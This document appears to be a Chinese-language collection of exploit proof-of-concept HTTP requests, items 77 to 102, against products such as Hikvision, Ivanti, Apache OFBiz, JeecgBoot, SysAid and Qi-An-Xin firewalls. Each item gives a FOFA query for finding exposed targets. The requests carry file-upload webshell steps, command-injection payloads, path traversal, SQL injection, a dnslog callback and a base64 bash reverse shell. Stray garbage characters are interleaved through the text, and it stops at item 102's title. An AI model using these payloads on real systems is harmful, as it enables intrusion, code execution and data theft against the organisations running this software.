77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
3 R# p0 c- @$ J5 \POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
9 k  M+ v7 l( T7 D+ @/ D) P' a  p! aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 U* |2 p0 e! C4 E  mConnection: close
Content-Length: 433
2 ~! p' \# g4 pAccept: */*
8 l  D. q- L4 [. @4 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ j2 Q- R. B" l% [Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
' Z7 x: R* R9 @: R8 CContent-Disposition: form-data; name="folder"
, t2 G& n# D. N( E( \$ o
3 K# E; m' I" X/ d3 Y/upload/udplog
8 f# W. G- L' z% ?4 V/ H------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

4 v* r9 s. ?' X! Lhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
4 Y; a: g( N. Z/ o6 b/ u" |
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
1 O2 k( N9 b# [

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
3 T: _( A$ N4 ~! g7 M6 ZFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
% J4 T: X9 c6 \8 ]4 P$ fHost: x.x.x.x
" _5 Z+ f' _8 F- GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, w2 H% N) T* i. _, u3 LContent-Length: 336
4 e+ ]/ Y4 ^5 y3 J  d1 p- v% I  A. tAccept-Encoding: gzip
6 K. \! D# V( m- a/ V7 l4 s; XContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
  V/ _. E+ ~) y9 N2 U, T8 ^, K1 R+ Y* z
------YsOxWxSvj1KyZow1PTsh98fdu6l
' O3 D) H& r6 w6 qContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
: n- x# |& ~( VContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


/ w; g# _; G" dGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
" L& J7 v! g) I& q! e: V1 G( {0 F& g
' g8 c! {) j  @: D8 t
2 d, ?+ e$ ?1 c+ Y: o79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
" a( p- {3 b8 U( ?4 oGET /goform/webRead/open/?path=|id HTTP/1.1
2 A2 d9 p$ m( u+ b  YHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
  E3 v# K" }' G; r: [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ `4 r6 ^- [4 q7 d" M/ b8 a; iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% x1 C* n5 A* j" ?7 _  rAccept-Encoding: gzip, deflate
Connection: close
- o. M) [3 K: G! n$ JUpgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
7 O# J+ D+ Z' k" PFOFA：app="速达软件-公司产品"
) }  Y1 m4 X) APOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
1 y+ h0 ]+ x# [: z4 S; B$ y0 o, m, F8 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: {0 v8 o) E+ ?3 V/ H/ C. S$ VContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 l( G5 u4 k2 e% ~# X5 ]5 o; VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ c9 g1 D* t) e4 `/ B3 SContent-Type: application/octet-stream
! M# {# U/ H1 `% s9 tUpgrade-Insecure-Requests: 1

  Q/ L! v9 R8 p* S. n( ?! o<% out.print("oessqeonylzaf");%>
* q" k, [3 v# d) S" ~% [; ]5 K; S

GET /xykqmfxpoas.jsp HTTP/1.1
8 Y" f; |1 v; W& ?Host: x.x.x.x
* W! f! A/ G7 X7 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 \5 B, ?! A/ d( p; wConnection: close
- a0 m5 L; p4 F- FAccept-Encoding: gzip
8 l& l) c) J5 E* G1 \

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 Y6 F* H# E4 f; TFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 n2 {: y" ~) v" HConnection: close
Accept-Encoding: gzip
) r7 A; P3 E: R' V$ p- O  Z' w9 @. I
* R" Z! J; ^- }% x
) r: N# m& t6 _; y% ]82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
7 Q. ^) R6 o  p2 ?$ G: uFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
6 n2 O. R) a) U5 S. o5 k( _% |' {6 p0 mUser-Agent: Go-http-client/1.1
Content-Length: 23
$ t! B+ C( Y* N+ f/ K3 ~. ZAccept-Encoding: gzip
Connection: close
2 o  y" t+ Q. y" SContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
. n, G# T" b* Z- i- P
z1=1&z2="|id;"&z3=bhost
& }3 g- y3 |+ d3 i4 ~8 g6 m4 Y- D+ E

83. JeecgBoot testConnection 远程命令执行
: q6 i8 {* g2 [: R" tFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
  {* O, D" ]# b6 RHost: x.x.x.x
8 z6 z. w: A4 `3 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& n  o, b. ~, I) v% }: n& ]Connection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
2 f2 [8 t' f) @' u5 nContent-Type: application/json

2 W& t4 Z6 A: ]: i) d; SPAYLOAD

' H! i7 W2 O/ W$ A) k84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
" G* o- T% S1 x( Q1 [! w; Z2 M! j

6 V/ @: x8 v/ n0 d6 q7 n- H
3 k) f6 m% v) H) t, d* APOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
; _: K9 B  k* V) @5 ]Accept: */*
7 V; y1 I: e- |1 S* m* u+ y" Z7 b& }Connection: close
Content-Type: application/json
" }( x% W% M  s% W" H* T! i; D! IAccept-Encoding: gzip

" _0 K6 E. U7 y7 c- U/ R% L{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
" H6 j4 u  m2 A# m0 k" F& ^  "type": "0"
9 O: D1 [, X. j6 V5 M4 `}
% _2 g5 v* [9 Q9 {9 V: m1 e- v4 Q

. W( z: f( B& ^/ u6 g85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
- @6 ?: W; R8 T# E) b. [/ w: |8 ZFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
& G+ J  ~# Z8 w" }( ~POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
, b& M! w! T, T: K# a0 ^Host: x.x.x.x
5 H9 S! g; v; b- f6 I5 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% t9 e5 `/ O( IContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
( T9 A" v: z- x5 F/ v9 {1 ^
86. 日本tosei自助洗衣机RCE
  ]( g9 s" p4 ]FOFA：body="tosei_login_check.php"
+ T* K7 _6 k$ o. L0 H; C/ XPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
3 W  e* b, K2 L; F- o7 Z" [) DUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
* g& P- k# w* S9 B/ p# aContent-Length: 44
/ L/ a7 L% L* u' }" XAccept: */*
Accept-Encoding: gzip
Accept-Language: en
& }9 h( N+ o2 J3 ]# j2 I, B3 g6 Z3 DContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
5 l2 i- }+ U+ M- i$ Y$ D

87. 安恒明御安全网关aaa_local_web_preview文件上传
& q, I4 N" Y+ L* p% bFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
5 W+ |9 V0 ?1 l# }& |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, A1 A2 ]" p+ H" R$ eConnection: close
Content-Length: 198
2 _  U7 V0 Z3 T4 h. d4 o) d$ W: a! C0 EAccept-Encoding: gzip
0 ^! {3 U5 [2 I! _Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
! \& D/ M$ M" b# N2 h
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
/ _0 M1 s' C1 a( S3 v" u! ^--qqobiandqgawlxodfiisporjwravxtvd--

$ U" q- D8 O( _3 A9 y
! H0 s& Z) P% |% o0 A/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
% Z& M/ X9 {( AGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
* c! Z2 a& M: N& V3 Y6 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 A# C. a' D7 T6 r( e) R* A: OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 i# a  S1 w% UConnection: close
1 {+ F7 B2 G" N) k

/astdfkhl.php
, _+ i: G3 D$ o* I( J- @" y6 O
7 ^& I3 q2 T8 U) {% ~9 k! Z' f89. 致远互联FE协作办公平台editflow_manager存在sql注入
! h6 e% i8 L; h8 J: `: N* M) v! ~. k4 b' YFOFA：title="FE协作办公平台" || body="li_plugins_download"
& r( I& \4 \9 P% t6 [7 uPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
9 v3 R( G6 h9 O% Q( NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! }. x( W- o+ `. }6 U3 tConnection: close
; M6 X+ a, [8 ]3 r/ hContent-Length: 41
" k/ h( _1 E  j+ v. sContent-Type: application/x-www-form-urlencoded
: b' ^9 i5 x, }3 D7 m6 VAccept-Encoding: gzip
1 K% t$ P2 R5 q# Y
6 X+ Y7 F; e3 d" s/ @2 foption=2&GUID=-1'+union+select+111*222--+
/ e& B. ?/ e+ y
, f8 E( Z$ m/ T5 u1 y7 S$ \% ?9 H
( w8 w7 [: L8 l6 ^: S& w90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
; l0 N3 t3 u4 K: v/ ~5 Y8 R+ b  a( x5 FFOFA：icon_hash="-1830859634"
4 H; J6 B; r/ U2 MPOST /php/ping.php HTTP/1.1
  @4 A# L  Z/ h: b1 _9 u( hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
5 M, Y5 @4 n7 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' Y% P0 g1 }$ z3 i0 N) q* d+ H$ iConnection: close
& m5 s. f; E, hContent-Type: application/x-www-form-urlencoded
0 n* g4 y) o$ i) p3 b# f6 yX-Requested-With: XMLHttpRequest

. g2 ~# B9 L; r  s! ?9 F0 y1 Mjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
) H  Q, c# K9 r. \! Q2 b

0 a% K+ a6 }6 O3 A# {91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
: A! ]# ?# w3 P' w0 j# n) iFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
6 f) P- D0 M' g. f: a) [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
. \6 V5 A4 F5 d- x; Z, [Connection: keep-alive
7 F+ A  e! b2 n1 R: c
6 c9 U" y! l* u4 y

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
4 p7 c2 A; a! j+ Q/ t  Khunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
4 ^1 |6 ]# ^# G! T9 v8 y7 gPOST /center/api/session HTTP/1.1
4 e1 t+ q0 G& a. t, {& V( v# AHost:
; j6 M' w% g' J' q$ tAccept: application/json, text/plain, */*
4 N  n( w! w: {% I& cAccept-Encoding: gzip, deflate
7 ~( J9 l! _# ~6 u5 iX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
1 d& j4 S. c" v! A& s0 Y4 m& lTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5 W: p/ _; n1 p, B) M( g( V# k% gAccept-Language: zh-CN,zh;q=0.9
! r6 T0 l" F) d) ]- v4 q, i* iContent-Length: 5778
7 e+ }- c$ P( z& u, N" |
8 Z2 E0 O5 U3 i4 ?& RPAYLOAD

! k% E/ P2 J" P" |: G
3 ?! @* z3 \9 U; \' D: A93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 e  ~; G+ ?0 Q2 N& cFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
/ |+ U& V4 f( w# n; b$ {/ `POST /?g=app_av_import_save HTTP/1.1
8 I2 @  S& X1 Y4 f, eHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ t0 B, w- \) l5 C) y! W3 L, F/ c% W; a
& S) a% z3 S) ?- Q$ w* w  C% U: `' ?# x------WebKitFormBoundarykcbkgdfx
. K  h$ I, t, x% |$ |Content-Disposition: form-data; name="MAX_FILE_SIZE"
" n' Q3 ?- X! x" F
4 ~0 c! _; \0 D' M+ _10000000
& L' p: R6 ?) o, d! V2 D5 ?------WebKitFormBoundarykcbkgdfx
' `3 [( A# Q( `0 w% k% TContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
& t* K: u3 K% I8 y/ ]
wagletqrkwrddkthtulxsqrphulnknxa
' p. h9 ]  D, ^3 j; n7 }------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
( m0 X4 C% z7 p  T, ^------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

  x, Q+ R$ a3 C- x8 f0b9d6b1ab7479ab69d9f71b05e0e9445
  p! o+ z3 K: ]0 b------WebKitFormBoundarykcbkgdfx--

0 m4 H# ]& x1 A
0 ]: B8 [$ B$ I9 k/ t0 r$ MGET /attachements/xlskxknxa.txt HTTP/1.1
2 {5 p+ k6 l4 d5 AHost: xx.xx.xx.xx
, i2 f# L, d9 G5 J6 ^) p2 qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 G/ P) b5 ?+ S# B9 F- R3 R
2 c- I7 Z$ D3 A$ G8 S- a4 U5 B
* [1 ?- C3 _1 u2 u4 R" ~. [, c! ]94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
0 D! n2 x+ J1 ^# b% h: |Host: x.x.x.x
5 L8 @8 u6 ^0 x- n  q8 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

( D) g* J3 L: p8 B2 e! o------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
9 Z: U. ?; b8 I5 p7 B0 H
10000000
2 A2 `" C+ Y  t4 [/ H: b- T3 h. g------WebKitFormBoundarybqvzqvmt
! e8 d3 ^) s! u3 B% U  \3 I, v# sContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
9 i- K; m, ^5 H: CContent-Type: text/plain
9 w; S; i/ `& n- j& h: Y2 x
, S4 ~1 j4 x2 r/ ]pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
) i& j: M6 \. N' a. ^Content-Disposition: form-data; name="submit_post"
% t8 K0 D7 w3 Y: `' }/ s
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
  j# C1 ~- S" F. ^: p, K1 ]Content-Disposition: form-data; name="__hash__"
' M' g# S2 z4 `; g0 v6 G
& m* g# ?9 l7 \# u& @1 u$ I& \) i' W0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
: V0 z" i( c- k% {8 @7 V" ~
$ P0 O6 Y/ K5 Q, M8 u- B; ]

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
" t! K, A7 n+ j& A3 E* n  \( qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. x9 V7 w, A8 E6 s  ]0 w
, m9 E* Y8 Y4 m- H

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
9 l/ @2 z9 k8 y5 r) v8 IFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
/ \6 R- Q7 z4 A, {  CHost: x.x.x.x
# T2 D) z: M8 N3 s3 x8 M9 L9 K6 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
- }  Y% h$ r3 u: Y4 ]# r, _- HContent-Length: 889
$ d6 J; ~2 \% `Content-Type: application/xml
% \& L3 k- }  \. tAccept-Encoding: gzip
0 Y; ~7 b2 ~! o( t- O
1 s  V0 X# o, K<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
: k; n( F$ u: s. y8 D    <params>
' s$ u) r! b) B5 g* b& z& ~      <param>
# R/ u5 |6 Q9 T3 ~, E" u9 B      <value>
        <struct>
       <member>
  }0 ]( `% O  N% L" X$ D* u          <name>test</name>
          <value>
  S! @; c/ L9 M  J" x5 \  X8 r      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
3 Y" W, t% C3 @+ F: z- z- H          </value>
4 C, X3 Q% R/ V$ ?; y5 O4 k* K0 T4 d        </member>
& h" [2 Y$ v( A- N      </struct>
      </value>
    </param>
1 D" @+ R, x0 t: F; O6 w0 `3 ]7 P3 R    </params>
</methodCall>
6 u  T  e* K9 F- e/ F
  O  D# D$ T  P+ Z( |8 e. \
3 J  ]3 ~7 I* Q" u( ^9 T用ysoserial生成payload
; s  |* R: S4 C" f0 }: G' qjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


: v, B& ?$ w. B! Y6 z  g1 {将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
1 v6 r7 K' T1 C# CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
) M3 \# q5 [+ v7 v1 D9 j' V  n  ZContent-Type: application/xml
4 G$ y; _# A1 t6 QAccept-Encoding: gzip
; P4 m* Q+ Y8 O5 E0 {+ m
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
, F; C8 s0 y3 {  bFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
  W. `! P8 s1 A2 Q) W* @Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& p  w# v- [; @+ o4 EAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
. B8 W$ x" s2 ^: F' yContent-Length: 55

; P0 |7 r9 l% n) J( [groovyProgram=throw+new+Exception('id'.execute().text);
7 a/ h, J8 o# R( p8 q- X) |
  n: y, Z/ x4 T; D
反弹shell
在kali上启动一个监听
nc -lvp 7777

0 O4 H: q- X& U# RPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
6 ^% e) P, n1 F. r6 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: @" c, J8 J8 c3 o$ ?' z, ^1 C# YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 E& \% f$ Y" K4 d8 {( n' ]; KContent-Type: application/x-www-form-urlencoded
5 B* t; P! y- b! S9 rContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
. O* c' h+ z: I5 C4 n/ r1 mHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' B9 f1 r2 u$ K, xAccept-Encoding: gzip
9 d$ D$ F; |5 x% a8 ^  ]Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
( F+ ]. W; k  t8 {& b& t# h

98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
2 v0 @# b6 S" q  xPOST /function/save HTTP/1.1
4 d6 m; x: c# R" F3 K0 o2 u" THost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 _' S9 l  D; B1 G# d$ |Connection: close
9 s' a* C' f+ P# L  R: `  lContent-Length: 121
& G- v8 g; J7 W! s- j0 ~Accept: */*
Accept-Encoding: gzip, deflate
0 i1 Y! @% c4 \, G' T9 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
% V" l* z$ i: Z% B! [( ]X-Requested-With: XMLHttpRequest
. n5 c; T$ X  ?+ \' B
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
1 ^: v$ s, ~1 h

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
; S8 n0 H4 H1 L" T1 i2 kFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
+ [% a- ^+ T0 X; ]( gHost: 192.168.40.130:8080
# n% X* _) J3 m  TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) U8 q! O6 T6 y3 W& ]Connection: close
Content-Length: 154
( t$ M5 Q4 B% EAccept: */*
Accept-Encoding: gzip, deflate
3 o4 E0 {9 D9 f# H; K9 D7 ~0 h- ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- X# v$ G+ D. UContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
& ~1 [2 r% x. K
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
0 I4 ~& U" q1 O9 j  w
  r' q' C3 z; O, w0 }, _
" D& ?" J% C. y100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
8 X4 ]. Q/ o# e- F7 Q5 uCVE-2024-0352
FOFA：icon_hash="874152924"
- E2 t: F1 i3 ~' QPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+ w# c# _2 n8 h$ x( D- P* ?: K# _! @Connection: close
( i# W& U% q+ l5 hContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
6 _) m  V4 e" _2 L# KAccept-Encoding: gzip
/ X: k$ s1 T  v. F8 _
8 P9 W2 F( |3 Y$ s( ]+ d: u3 e! b$ t------WebKitFormBoundarygcflwtei
2 p% D7 a) x* U/ fContent-Disposition: form-data; name="file";filename="IE4MGP.php"
. c. G: ]0 o# j' k2 m/ bContent-Type: application/x-php
/ N" c6 f$ n8 m2 d5 r. F
' [$ o5 P& K, H, {2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

2 k; ^" J+ A0 P7 A* O$ R1 g
6 A. ~, j; e2 E+ c101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
( v( H4 B" q% r0 C7 ^GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
% T' }: W4 H( W4 g. @7 x  Q2 G- s/ H* bHost: x.x.x.xx.x.x.x
% {2 [! Q) \' K2 X; f+ \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

# k0 b7 w+ b, o7 R- e* S
3 B+ ^9 F$ X" \" M102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
: a4 i2 g9 `5 A1 r, qCVE-2024-21893
